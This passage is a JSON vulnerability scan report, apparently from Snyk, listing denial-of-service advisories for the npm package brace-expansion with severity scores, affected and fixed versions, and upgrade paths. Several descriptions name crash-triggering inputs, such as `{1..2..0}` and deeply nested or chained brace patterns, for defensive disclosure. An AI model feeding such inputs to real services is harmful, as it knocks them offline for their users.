"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmpack@8.0.5",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmversion@7.0.0",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmversion@8.0.4",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"libnpmversion@7.0.0",
"@npmcli/run-script@9.1.0",
"@npmcli/package-json@6.2.0",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmversion@8.0.4",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
